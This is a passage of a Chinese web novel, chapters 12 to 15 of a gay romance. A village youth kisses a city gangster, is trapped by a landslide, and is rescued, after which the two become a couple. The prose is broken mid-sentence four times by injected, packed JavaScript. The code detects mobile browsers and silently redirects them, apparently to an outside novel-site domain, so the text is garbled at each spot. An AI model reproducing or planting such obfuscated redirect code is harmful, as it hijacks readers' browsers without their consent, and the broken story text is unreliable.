他心底的确毫无波澜,刚才害羞,只是他下意识的反应,就像一台电脑早已被设置好了程序,这段名为害羞的代码在碰到特定的事情就会自动运转。 赵静群拒绝他,非要说有点难过的话,只有不多不少写了两千五百个字的努力被拒绝的失落,但是被其他人拒绝,陶柠也会产生同样的情绪。 至于其他的,他毫无感觉。 仿佛他天生对某些情绪不存在感知力。 赵静群见少年逐渐失神,半天也不说话,似乎是被他的直接了当伤到了,以至于半天说不出话来。 他的心忽然被刺了一下。 赵静群不自觉地摩挲起虎口陈旧的烟疤……为什么?他不敢去深想,也是头一次,犹豫了很久才解释:“你是男的……我也是男的,我们没有结果。” 现在华国男人和男人在一起不常见,大多数同性恋都是藏着掩着的,怎么这呆子就敢那么明目张胆? 他们这山里看上去也不像是开放的,要是被其他人知道了,不知道到要带来多大麻烦,估计会骂陶柠是疯子,有病。 赵静群呼吸重了点,又说了一遍:“……你死了这条心,我不喜欢男的。”话到最后,忽然又加了句,“你也别去招惹其他男人。” 陶柠愣愣地看着他匆忙离开,男人的步伐有些凌乱,跨过门槛的时候还绊了一下,背影显得略微狼狈。 徒留陶柠在原地有些困惑,“他怎么了?” 系统也搞不懂: 【我也不知道啊,你们人类的心思真复杂。】 话到这儿,系统叹了口气: 【呆瓜……你不会第一个男人都攻略不了吧,后面还有俩,你受得住吗?啊不,你攻略得下来吗?】 陶柠把情书放在赵静群床边,说:“我昨天晚上想了一下,其实我可以和他们做朋友,这个简单一点,朋友之间也可以说‘我爱你’的。” 系统脑子有点宕机: 【……这样也可以吗?】 陶柠有点严肃地点点头,“嗯,之前有同学欺负过我,可后来他想和我交朋友,就对我说过‘我爱你’。” 系统震惊,【你个小土包真的假的??那你怎么回的?】 陶柠慢悠悠挪到床上,抓起被子缩进去,只露出一颗毛绒绒的脑袋,伸出两只纤细的手抓住最上方的被角,说:“我不想和他做朋友,就说‘谢谢,但我不爱你’。” 系统继续震惊,【然后呢然后呢?!】 说完,开始嗑瓜子。 咔嚓、咔嚓。 瓜子一颗一颗掉下的声音伴随着夜晚的虫鸣,有湿润的晚风吹进来。 陶柠的眼皮开始不受控制地上下打架,迷迷糊糊之间,他嘟囔着说:“唔......他想揍我,结果被我阿姐看到了......阿姐揍了他一顿....好......好像明天有大雨......” 少年的声音越来越小,直至消散在窗外树叶窸窣的动静间。 系统的瓜子掉地上了:【喂!呆瓜!你还没偷亲他呢......】 山里的时间过得很快,当男人带着一身冲过凉水澡后的冷气回来时,书桌上破旧的小闹钟指向了十一点。 床上的少年已经睡熟了,借着淡淡的月色,他能看清少年微张的唇,发出很浅的呼吸声,像是草莓熟到糜烂的舌却在等待被人采撷。 赵静群移开视线,又忍不住摩挲起虎口处的烟疤。 这是他没有被赵家接走前大概十来岁的时候,因为偷吃了一块糖,被养父拿烟硬生生烫的。 所以自那以后,每当他想吃糖,都会忍不住摩挲这道烟疤。 不过是一块糖而已,他现在已经不吃糖了,只会抽十三四岁起就抽的劣质香烟。 比如说现在,男人的烟瘾又犯了,刚想出去抽一根时,却看见了他床边的情书。 他站在原地许久,久到眼底晦暗不明的情绪化作了浓墨,满到几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859534|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要溢出来。 最终,赵静群一步一步走向床沿,拿起那封情书,余光瞥到熟睡的少年身上,然后以迅雷不及掩耳之势的速度拿走,塞到了自己的枕头下。 做完这一切,男人便当作什么事情也没发生似的,掀开被子躺了进去。 只是他没合眼,一直瞪着头顶的灰色水泥板,似乎在等待一件事情。 片刻后,旁边的人忽然动了,他很轻地往这边挪动,带着既清冽又甜腻的果香。 男人的心脏又不受控制地“砰砰”跳起来,只是这一次比以往要更强烈,因为他知道……陶柠喜欢自己了。 他……还会像昨天那样钻过来么? 越是这样想,赵静群的心就跳得愈发剧烈,声音大到几乎要破膛而出,在只剩下凌乱的呼吸声中的房间里清晰可闻。 忽然,一具柔软温暖的身体凑近了过来,清甜的果香随之越来越浓烈,就好像被山里的一棵柠檬树缠上了。 赵静群迅速闭上眼,甚至紧张到屏住了呼吸,而虎口上残旧的烟疤此刻疼得厉害。 疼到他现在,想吃糖了。 就在赵静群几乎要窒息时,一个轻柔的,带着香味的一双软唇,落在了他麦色的侧脸颊上。 “!!!” 倏地一下,赵静群睁开了眼。 他直接僵硬在床上,浑身好似化作了一块石头,只能依附于柠檬树生存,无法动弹,也无法改变。 只因为一个吻。 “咔嚓”一声。 他心底最后一根弦彻底断了,就在赵静群再也无法忍住,要狠狠扣住偷吻的少年,把他死死压过来,放肆采撷这两瓣红润的唇来时。 很轻的“啵”的一声—— 偷亲的山中小贼已经离开了,并且非常熟练地躺了回去,盖好被子,又以一个很板正的姿势,乖巧地闭上了眼睛。 这下子,赵静群脸色瞬间黑成了锅底,心情也像是一下子从阳光明媚变成了狂风骤雨,只差再打几声响雷,就能把这间又小又破的屋子彻底掀翻。 赵静群扭过头,一双眼睛死死瞪着少年熟睡的侧颜,咬牙切齿道:“陶、柠!” 13. 第 13 章 陶柠正睡得迷迷糊糊的时候,系统忽然在他脑海里喊道: 【呆瓜,赵静群喊你呢!】 【……噢。】 揉了揉眼皮,陶柠睡眼惺忪地睁开眼,侧过头一看,即使屋子昏暗,也能看出男人凶狠的视线,正狠狠瞪着他。 见他醒来,凶恶的意味才淡了点。 陶柠睡眼朦胧,已经困到失去思考能力了,“……怎么……了?” “……” 这呆子刚偷亲他就忘了?! 男人的目光更加阴沉了,过了片刻,才凶巴巴说:“没什么。” 话音落下后,许久过去都没有人回应他,因为偷亲的小贼,又睡过去了。 赵静群气得额头青筋暴起,独自坐在床上心理建设了一会儿,才往枕头下摸去,拿出来薄薄的一封信。 他瞥了一眼睡得毫无防备的陶柠,悄无声息走到窗前,坐在少年从小到大的使用的凳子上,借着把银河倾泻而下的月光,小心翼翼拆开了这封情书。 男人嘴角不自觉地弯起,因为情书上的“静群哥哥”四个字,原来这呆子那么喜欢他—— [亲爱的赵静群哥哥,我叫陶柠,今年十八岁零三个月,家住云雾县黄檬村十二组二号。] [我的家乡被连绵不绝的大山包围,像无穷无尽也无形的枷锁,将人禁锢在群山之巅里,曾经我以为自己会永远画地为牢,和我的阿姐陶圆、还有外甥小檬永远生活在这一方天地。] [直到遇见你,静群哥哥。] [你的眉毛像两条蜿蜒的河流,你的眼睛像山峦的峰顶,你的鼻子像陡峭的悬崖,你的嘴巴像山中的青草和绿树,你的气质像翱翔的雄鹰……在你身边,我如生活在家乡里一样亲切、喜爱……] 赵静群摩挲着手上的烟疤,嘴角的笑意彻底没了遮掩,视线一个字一个字扫过,直到来到情书的最后两行。 [……静群哥哥,你送我的衣服我很喜欢,我会非常珍惜这个礼物,可是…… [“我因你而雀跃着的心,是你赠与我最宝贵的礼物①”。] 少年的情书青涩却美好,最后一个字扫过,赵静群深吸了一口气,他的心脏剧烈跳动,从拆开情书到看完就没停下来过……没想到这呆子在纸上还挺会说的, 他盯着这封看上去就知道少年是用了百分百心思写出来的情书,出神许久,最后眼睛里的光才黯淡下去。 他又小心翼翼把情书封好,摸了一包烟,出去抽烟了。 赵静群在外面的水泥台阶上坐着,没过多久,地上就出现了数十个烟蒂,一直到后半夜忽然下起倾盆大雨,才回了屋子继续睡。 哗啦哗啦。 雨越来越大,山中的雾气也愈发浓重,到了后面,雷鸣电闪几乎没有断过。 电视里,当地晨间新闻开始发布暴雨橙色预警:预计未来一周都会有暴雨、特大暴雨,市区有几所中学已经停课,正提醒广大市民朋友,注意防洪防汛,山区的人民注意防范山洪、滑坡等次生灾害…… “静群!你还在吗?你醒了吗?!” 砰砰砰! 敲门声没响几下,屋子的门就被人一脚踢开了,赵静群眼角下挂着比前几日更浓重的黑眼圈,神色阴鸷,见进来的人是陶圆后,脸色才缓和了点,“出什么事了?” 陶圆喘着气,眼眶通红,急得就像热锅上的蚂蚁,“刘三七大早上过来让柠柠去送你们,现在他们联系不上了!外头下这么大的雨,我们这儿地山路不好走,碰到暴雨山上的石头会塌下来,你能联系……” 她话还没说完,刚才还拧着眉的男人已经穿好衣服冲了出去,甚至任何防雨的东西都没带,身后的陶圆大声喊道:“我跟你一起!!” “……妈妈,怎么了?” 现在才早上九点左右,小檬揉着眼睛。 陶圆蹲下来一把抱住他,尽量让语气平静下来:“没什么,你再去睡会儿,等会儿妈妈带舅舅回来,就给你做饭吃好不好?” 小檬点点头,“那我要吃番茄炒鸡蛋。” 陶圆答应他,故作镇定把他送到房间里后,迅速拿了两件雨衣也跑进了大雨里。 刚跑村门口,陶圆才发现有些眼熟的村里人正陆陆续续往山路方向赶,她随手扯住一个慢悠悠走路的问:“是不是山上塌了?!” 被她拉住的村民点头,“应该是吧,反正村长叫我们赶紧去帮忙。” “刘三七他联系上没有?” “就是担心书记遇上那事了,才让我们赶紧过去看看。” 陶圆快急死了,骂道:“那你在这儿闲的放屁做什么?!还不跑快点!”说完,就扔下这人跑走了。 村民“呸”了一口她的背影,“臭婆娘……” 等陶圆急匆匆赶到山路上时,差点没一屁股跌倒在地,因为她最担心的事还是发生了。 山体滑坡了! 而且这一次坍塌非常严重,几乎半边山上五分之一的东西全部塌下来了,聚集在灾害现场的人越来越多,村长正焦头烂额的喊:“动作快点!也不要乱动石头!三七他们还在下面……” 旁边还有一个哭得撕心裂肺的少女,看着不像山里的人,另外站着一个与她相像的少年,脸色煞白。 赵静群就站在他们面前,浑身湿透了,雨水顺着他绷紧的轮廓滑下,他的脸色是前所未有的难看,双眸一片猩红,怒吼道:“陶柠呢?!!为什么就剩你们在这儿?陶柠在哪儿!!” 男人就好像一头失去枷锁的野兽,浑身点燃了暴虐的怒火,似乎想将周围的一切燃尽。 何年年恐惧到全身发抖,话都说不利索了,“他……他……为了救我……”话到最后,直接崩溃出声了,“被压在下面了……” “闭嘴!!” 赵静群双眸瞬间充血,怒吼着打断她的话,眼睛红到滴血的地步,手指也不受控制地发起抖。 最后,深深地吸了一口气,几乎是从牙缝里挤出来的字,“他要是出事,你们这辈子都别想好过。” 话落,他就跑到那堆三四米高的坍塌堆边,像疯了一样用手去挖碎石头,嘴里不停地喊着:“呆子……你别吓我……” 他被深深的愧疚感与悔恨笼罩,怪自己昨天不该让人把何氏兄妹他们接回去,怪自己为什么昨天晚上睡那么晚,怪自己为什么早上没有听见陶柠醒来的动静…… 雨水混合着汗液淋湿从脸上落下,顷刻间,将男人彻底击碎,他恐惧的神情就好像失去了最为宝贵的猎物、宝物。 不知道过了多久,天地灰暗。 男人跪在地上,双手已经鲜血淋漓了,十个手指全部破裂,流了一地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859535|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血,又被雨水冲刷掉,耳边是救援队的指挥,还有赵静岁和陶圆的呼喊。 可他通通都听不见了。 男人满脑子都是少年笑着,忽然又被石头压倒的画面,这些画面他只是想象一下,就浑身害怕到发抖。 赵静群彻底失去了理智,就在他要一直挖掘下去,永无停歇时,旁边忽然传来惊呼:“他们在这儿!” 石头被推开,救援人员惊喜地发现,需要被救援的三个人运气好得出奇,他们被一块巨大的石头庇护了,这个石头恰好和路面以及山墙形成了最为稳固的三角形受力。 虽然洞口比较窄小,但足够他们出来了。 而里面等了几乎一天救援的三人,听到声音后眼睛都齐刷刷一亮,靠近洞口最外围的陶柠,感受到光线,以及看到救援人员的脸后,终于松了口气。 今天早上书记忽然过来找他,说有两个人要回城里,叫他一起去送,陶柠就跟着去了,那个时候雨还没有下很大。 结果到了半路上,暴雨倾盆,大到几乎淹没天地,路上电动车也跟着熄火了。陶柠预感有不好的事情发生,就让何氏兄妹们先下了车,找个地方躲下雨。 何年年下去后,本来因为淋雨就发了一通脾气,又以为陶柠怀恨在心,要把他们丢在这山上不管了,死活不肯走远点,结果山体突然滑坡。 是陶柠一把将她推了出去。 她现在回想起来都后怕极了。 系统也很后怕: 【还好呆瓜你没事!!不然我要以死谢罪!】 说着说着,系统发出了类似哭泣的“呜呜呜”声,是很标准机械的的“呜呜呜”。 陶柠的眼镜不知道去哪里了,他一边跟着救援人员的指挥一点一点钻出来,一边不忘安慰他: 【我没事了,不用担心。】 等他终于重见光明,稳稳当当站在地上时,还没等他舒展一下身躯,忽然,一阵猛烈的风冲了过来。 随之而来的,是一个用尽全身力气的怀抱,夹杂着很淡的烟味和浓烈的血腥味。 这个怀抱力度大到好像要将少年揉碎进骨血里,严丝合缝地彻底塞进心里,仿佛一头失控的野兽,终于找回了掌控他枷锁的猎物、宝物,才如此急切地想要用身体裹住。 “……陶柠……你……吓死我了。” 男人的怀抱在发抖,声音也在抖,似乎还有几丝不易察觉的哽咽。 陶柠征征的,一时间有些回不过神,直到这个怀抱越收越紧,越收越紧,紧到几乎要让他喘不过气。 “……赵静群?” 头顶没有传来任何声音,过了许久,陶柠又说了一句:“我没事了。” 直到这句话落下,怀抱才一点一点松开,陶柠抬起头,却撞入了男人猩红的眼睛,他颤抖的嘴唇:“你赢了,陶柠……你赢了。” 什么他赢了? 陶柠有些发懵,下一刻,男人又把他抱进怀里,力度依旧大到让他喘不过来气,过了片刻,耳边是他压得极低极沙哑的声音: “我们在一起吧,呆子。” 他终于意识到,失去少年的恐惧比任何事情都要令他害怕,他再也无法承受这样的事情发生第二次。 他终于承认了,他喜欢陶柠。 他这个混混,喜欢上了一个呆子。 14. 第 14 章 “你们还愣着干啥?还不把我弟弟送去医院!” 陶圆叉着腰吼了几句,看着紧紧相拥的两人,见陶柠安然无恙,心里悬着的石头终于落下。 她擦了把额头的汗,感慨自己果然没有看错人。 小赵虽然外表看起来是个地痞流氓,不好惹,没想到心肠真热,竟然这么关心他弟弟,听到他弟弟出事,比她这个做姐姐的还着急。 看这急到还抱着弟弟不撒手呢,陶圆想起之前对赵静群有偏见,不由得惭愧,果然不能以貌取人。 同时也放心陶柠去城里读书了,有赵静群照看着,陶柠不会受委屈。 医护人员把担架抬过来,赵静群不动神色地用唇碰了一下陶柠的额头,才松开充满禁锢的怀抱。 抬起手,想替少年整理一下被汗水黏住的发丝,却发现手掌都是血,挖碎石的时候五个手指甲全部断裂了。 他拧起眉,刚想收回去,少年却轻轻捉住了他的手腕,“你受伤了……要和我一起去医院……” 赵静群没有听少年在说什么,而是盯着他脸颊左侧的泥巴。 污渍在少年白皙如玉的肌肤上格外刺目,心尖忍不住再次泛起密密麻麻的疼,好似最珍贵喜爱的宝物差点被自己弄丢了,还受了委屈。 陶柠见手还在滴血的男人没反应,愣愣地用手戳了一下他的胸膛,这一碰,仿佛触动了男人身上的某个开关。 赵静群回过神,语气又有些凶巴巴的:“别乱动。” “噢。” 陶柠不明所以,但还是乖乖地听话不乱动了。 医护人员要把他抬到担架上去,陶柠摇了摇头,指着赵静群流血的手说:“他受伤了,麻烦你们给先给他包扎……” 话还没说完,身体忽然腾空而起,陶柠呆滞了一下,反应过来后急忙抓住男人的肩膀。 赵静群不顾四周诧异的目光,直接把陶柠公主抱起来,走了几十步,才把怀中的人轻柔地放到担架上,小心翼翼的模样好似对待易碎的珍宝。 何年年甚至忘记哭了,擦了把鼻涕,在一旁看得目瞪口呆。 她从来没见过赵静群露出这副紧张的样子,之前赵老爷子得了重病,各界有头有脸的人物去探望了。 何年年家的身份连大门都进不去,但她跟在赵静岁身后去露了个脸,也远远看过赵静群一眼。 男人脸上别说紧张了,是一丝一毫表情都没有! 如果说那时候赵静群刚被接回去,对赵家没有多少感情,所以做不出样子可以理解。但这个土包子跟赵静群无亲无故的,他紧张成这样是为什么? 不知道的还以为这土包子是他老婆。何年年被这个突然冒出来的想法弄得一阵恶寒,心想应该是她看错了。 她觉得自己是看错了,另一个从塌方下钻出来的瘦干男却心起疑云。 他就是来接何氏兄妹的人,结果人没接成,还碰到山崩滑坡,也是衰到家了。 瘦干男凑到赵静群面前,犹豫着问:“赵少,我那天听刀子说您在乡下看上谁了,又是给人买衣服又是给人买手机的,大伙以为是个村花把您迷住了……不会是他吧?” 赵静群盯着医护人员把陶柠带走,一双狭长的眼睛才睨向他,没作声。 瘦干男挠着头,“真是他啊?可……可他是个带把的啊!男的啊!赵少……” 他想再多劝几下,不料听见男人不冷不热反问:“男的又怎么了?” 瘦干男哑口无言。 赵静群冷着脸继续说:“过段时间我会把他带回去,孙老二,你那张嘴给我闭紧了,要是让我听见任何风言风语,我第一个找你。” 阴冷的目光扫射过来,带着威胁和警告,想起这位爷打起架来不要命的狠劲儿,孙老二打了个寒颤,谄媚道:“不敢不敢,这……这嫂子长得跟天仙似的,您喜欢上情有可原。您放心,就算有人要一枪崩了我逼我说,我也是万万不敢开口的。” 赵静群哼笑一声,直到陶圆跑过来,看见他流血的手,尖叫着说:“你这傻孩子!怎么不和柠柠一起去医院啊?快过来!” 去医院的路上坐的依旧是老旧三轮,说是去医院,其实就是镇上比较大的卫生所。 陶柠刚想带赵静群去包扎双手,结果一转头,人就不见了,她嘟囔着:“嘿——这孩子。” 病房里,医生一边用纱布将陶柠小腿上的擦伤绑起来,一边皱眉道:“你这伤口不对劲,血到现在才止住,一般人这种小伤口几分钟就止血了,我建议你住院多观察几天。” 桌上堆满了带血的纱布,陶柠脸色苍白,他今天出门的时候穿的是黑裤子,没有注意到小腿被石头刮伤了,待在塌方下的恐惧淹没了疼痛,只是觉得脚底很黏腻。 那时候他以为是汗液,现在才发现竟然全是血,鞋子也不能要了。 所以赵静群赶过来时,最先入目的是一堆染血的纱布,陶柠光着脚,面色惨白,好似薄薄的一张纸,微风一吹,就可能倒下了。 看到这一幕,赵静群觉得胸口闷到喘不过气,立刻走上前蹲下来,盯着陶柠裹满纱布的双腿,“怎么会流那么多血?他身体是不是有其他问题?” 医生如实说:“看样子应该是凝血功能出了问题,你是他哥吗?我建议你以后带他去城里的人民医院看看,不过现在血已经止住了,再住几天院观察一下,到时候没问题就可以出院了。” 等医生走后,赵静群用洗过的双手给他盖好被子,他不像陶柠体弱,半天也止不住血,没多久的功夫,他的手指已经自动止血了,还有结痂的趋势。 赵静群皱眉说:“等你伤好了,我带你去星城检查。” 星城是X省的省会,全省最好的医疗资源集中在那里,可他未来要去的城市,却是经济最为发达的城市之一海州市,短短两个月的暑假,根本治不了什么东西,他也无力负担医疗费。 陶柠垂着眼,他也不能说攻略任务完成后身体就会好起来。 当时系统听到男人说要和他在一起时,“呜呜呜”立刻停止了,高兴到在他脑海里放歌:【我再也不说你呆了呆瓜,这么快就把赵静群攻略下来,你简直太厉害了!那我们可以执行第二步了,想办法让他对你说‘我爱你’,然后你再甩了他,这样不会耽误你进城去攻略其他两个。】 陶柠回过神,看着赵静群眼底的急切,纤细的手忍不住抓紧被子,“……我不想去。” 赵静群眉头皱得更紧,“不行,这件事没有商量。” 陶柠慢慢扭过头,不去看他了,线条优美的轮廓绷得有些紧,红润的唇微嘟,似乎不高兴了。 只是少年生起气来,依旧漂亮得不像话。 赵静群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859536|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,有些无奈,也没想到这呆子看起来好欺负,容易搓扁揉圆,没想到脾气还挺大,性格也倔得很。 但想起自己在山上说的那些话,赵静群神色变得不自然,语气却放缓了,“听我的话,好不好?” 他揉了揉少年的头发,“只是去看一下,没问题我们就回来。” 听到这话,陶柠才肯把头扭过去,看着他,却冷不丁问:“我们……在一起了吗?” 赵静群布满伤痕的手一顿,目光倏地转冷,“怎么?想赖账?我告诉你不可能,也不要动这种念头,是你先招惹我的。” 似乎意识到语气太凶了,他收回目光,不自然道:“所以我带你去医院检查,是我……这个做男朋友的义务,作为你男朋友,我是关心你才带你去。” “……男朋友?” 少年轻声呢喃这三个字,脸上露出懵懂的表情,好似被恶狼拐回家的小白兔。 赵静群见状,整颗心都软了,嘴角不由自主地勾起,“是,从今天起,我就是你男朋友,你陶柠现在归我赵静群了。” ——我也归你。 但他没有说出这四个字。 只是接下来,少年说出来的话,却让他的心狠狠一跳,“男朋友该做什么?” 病床上的少年微微扬起巴掌大的脸颊,五官如浓墨重彩的画,一双浅棕色的眼睛懵懂无辜看过来,仿佛坠入凡尘不谙世事的天使。 赵静群呼吸变得急促,想起孙老二说“嫂子长得跟天仙似的”,眼眸渐暗,忽然伸出手。 下一瞬。 陶柠感受到,有一双温暖粗糙的手掌遮住了自己的眼睛,男人带着淡淡烟草味的气息扑面而来,滚烫的温度也跟着压下来了,紧接着,红唇被另一双干燥的唇轻啄了一下。 “……这样做。” 男人的嗓音沙哑到了极致,就像生锈的铁。 陶柠被蒙住了眼睛,看不见男人脸上的表情,但若看到,肯定会小小的吓一跳。 因为遮住他眼睛的男人,好似一匹孤独已久后找到伴侣的恶狼,双眸充血,正死死盯着他掌下的红唇,那目光就像要把红唇的主人生吞活剥了。 赵静群深吸一口气,呼气的声音都在发颤,片刻,他终于放下手,低声哄道:“听话,你不是要去城里读书么?到时候我带你去医院。” 其实他想说的是,再过一段日子他就回去了,那时候赵静群就会把陶柠带走,只是怕吓到他,就把时间说长了一点。 总之这活宝贝他一定会带走,不放在身边,他心里不安,而且这段时间看来,少年很容易在山里受伤,赵静群更不放心了。 只是这些他都没有说。 陶柠似乎被他说服了,点了点头,也不倔了。 赵静群这才放心,又给他盖好被子,把桌上的用具都清洗了一遍,带上那双浸透血的鞋子,合上门去处理手上的伤了。 等他处理好伤口回来时,病床上的少年已经睡熟了,他安静地躺在那里,橘色的黄昏洒进来,仿佛周围的时间也跟着静下来了,一切美好得不像话。 赵静群直接看呆了,他蹑手蹑脚靠近,把新买的柔软干净的拖鞋放在病床下,忍不住弯腰,想像当初少年偷吻他一样做个偷亲小贼。 不料双唇刚碰到少年的鼻尖,砰砰砰几声响,病房门一下被人推开了。 15. 第 15 章 “我回去杀了只鸡过来,柠柠,静群啊,快来喝鸡汤,咱家三四年以上的老母鸡,你俩今天一定要吃干净了……” 陶圆左手柃着一个保温盒和一些换洗衣物,右手牵着小檬进来。 赵静群迅速和身下的人拉开距离,装模作样掖被子,结果身下的人睁开眼,恰好与他四目相对。 “……” 男人有些心虚地先移开视线,直到小檬跑过来,“舅舅!”他从赵静群身底下钻过去,跑到陶柠跟前,泪眼汪汪问:“舅舅!妈妈是大骗子,你生病了都不告诉我。” 他嘟起嘴,陶圆把鸡汤分成三份,骂道:“闭上你的嘴,臭小子,别打扰你舅吃饭。” 小檬看着陶柠几乎没有血色的脸,心疼坏了,顿时不说话了。他又瞪了一眼帮陶圆布菜的赵静群,用很小的声音说:“你不准欺负舅舅!” 赵静群盛了碗鸡汤,心里乐了,这小外甥不错,挺会护着呆子的。 他把枕头垫在陶柠背后,拿起鸡汤,用勺子舀了几下,吹凉了一会儿,自然而然要喂陶柠喝汤的时候,三双眼睛齐刷刷看过来。 陶圆在感慨:她果然没看错人,看这小赵热心肠的,都要亲自喂柠柠喝汤了。 小檬:这讨厌鬼在干嘛?舅舅才不喝他喂的! 陶柠:“……谢谢你,但我的手没有受伤。” 赵静群后知后觉发现自己做的太过了,很容易被人察觉他们不同寻常的关系,他故作镇定把汤放到桌上,把自己那份鸡汤一口闷了后,去外面抽烟了。 他需要冷静几下。 陶柠埋头喝汤时,陶圆坐在他旁边,笑得和花一样,“柠柠啊,静群对你真不错,阿姐那时候还以为他是哪儿来的流氓呢!没想到对你比我这个做姐姐的还上心,你看看,把你照顾得哪儿哪儿都好,你可得感谢人家,进城后多和静群搞好关系……” 陶柠点点头,接着听见陶圆感慨:“哎哟,这么一想,静群那孩子越看越不错,模样俊,还会疼人,也不知道以后哪家姑娘有福气嫁过去了……” 陶柠默默放下碗筷,“阿姐,我吃饱了。” “就吃这么点怎么行?!不行不行,你再多吃一碗,我熬了一天呢。” 陶柠摇了摇头,垂着头,也不说话,只露出一个柔软的发顶。 陶圆看着他这副不吭声的倔样就来气,“你这臭小子,每次吃饭就吃这么点儿,难怪瘦得跟甘蔗杆一样,以后哪家姑娘嫁给你,你连人家姑娘都抱不动咋整?到时候尽让我老陶家出丑了!” 陶柠小声反驳:“我抱的动。” “嘿——敢顶嘴了是吧……” 陶圆数落着数落着,赵静群进来了,以前他看见陶圆数落陶柠,会觉得这俩姐弟挺有意思,现在却心里有些不舒服。 他挡在两人中间,“怎么了?” “这臭小子喝了一点鸡汤就不喝了,吃的比蚂蚁还少,这怎么长得了肉啊?怎么养好身体?说他还顶嘴。” “这里我来吧,现在太晚了,你们先回去。” 小檬不乐意了,他还想守着陶柠呢,结果下一秒就听见赵静群似笑非笑说:“小檬这个年纪不早点睡长不高。” 小檬立刻就跳起来了,拉着陶圆的手,“你才长不高呢,我肯定会长得比你还高的!妈妈,我们回家睡觉!”然后又恋恋不舍和陶柠说,“舅舅,我明天再来看你。” “好,回家不要看电视。” 陶圆现在对赵静群彻底放心,看天色是时候该回去了,临走前又嘱托了几句,说明天再杀只鸭子过来,才牵着小檬的手离开。 他们一走,赵静群立刻恢复成刚开始的模样,一边拿汤碗,一边拿勺子给他吹凉,眼底的温柔几乎要溢出来了,语气却是命令式的,“听话,再吃点。” 陶柠眨了下眼睛,“不想吃了,好腻。” 少年的声音轻而软,就像一根柔软的羽毛,不轻不重挠了心脏一下,赵静群拿着汤匙的手跟着一颤,脸上却没什么表情。 他放下汤碗,声音有不易察觉的宠溺,“那你想吃什么?” 陶柠说:“我想喝青菜粥。” 赵静群记下了,他把鸡汤倒回保温盒里,擦了下手,“等着。” 陶柠静静地看着他离开,门合上后,疼痛和睡意顿时如潮水袭来,但他没有关床头的灯,直接睡过去了。 墙上的时钟指到九时,一个小时左右的时间过去,陶柠被窸窣的动静吵醒了,他迷迷糊糊睁开眼,就看见男人额头带汗,正弯着腰从保温盒里拿东西出来。 见他醒了,男人把床上桌展开,刚才从保温盒里拿出来的菜全部摆在他面前,陶柠看过去,愣住了。 冒着热气的青菜粥,清炒土豆丝,还有一个海带炖排骨。 ……都是他爱吃的。 赵静群把粥摆到他面前,“趁热吃。” 陶柠小口小口喝着,抬眼看过去,却发现男人正盯着自己看,见到他的目光,又移开视线了。 “这些……都是你买的吗?” 赵静群淡淡地“嗯”了一声,白炽灯下,脸上泛起疲惫,“吃慢点,我去外面抽根烟。”他走到门口,身后传来少年软糯的声音,“要少抽烟,对身体不好。” 陶柠看见男人身体僵硬了一下,半晌,低沉沙哑的声音才道:“行……我戒烟。” 等陶柠都吃完后,赵静群恰好回来,他过来把保温盒收拾完,又听见少年小声说:“赵静群,我想洗澡。” 赵静群回头,挑着眉看他,“叫声哥就带你去。” 陶柠呆住了,他盯着赵静群,发现他左右两只耳朵上的耳钉都取下来了,但脸上依旧带着几分痞气,尤其是那头红发,张扬似火。 于是陶柠缓缓低下头,很乖地叫了一声:“静群哥哥。” 这声“哥哥”落下后,陶柠垂着头,半天也不见回应,他困惑地抬起头,却见男人幽深的目光正死死盯着他,像穷凶恶极的野兽,有些可怕。 但过了几秒,男人阴暗的视线就消失的一干二净,嘴角勾起,再一次背过身,朝他弯下腰。 “上来吧。” 陶柠不明所以,但还是趴上去了。 直到赵静群把换洗衣服让他拿着,背着他出卫生所,他才发觉不对劲,“我们去哪儿?” 他听见背着他的男人哼笑了一下,“去酒店。” 陶柠愣愣的,“去酒店干什么?” 赵静群顶了一下腮,最终没把那两个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859537|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口,掂了他一下,把背上的人托得更稳些,防止他掉下去。 “去洗澡啊。” “……这样会不会不好?” “我说好就好。” “噢。” 小镇的人睡得很早,这时候将近十一点,很多店铺已经关门了,昏暗的路灯下,只有三三两两几个人。 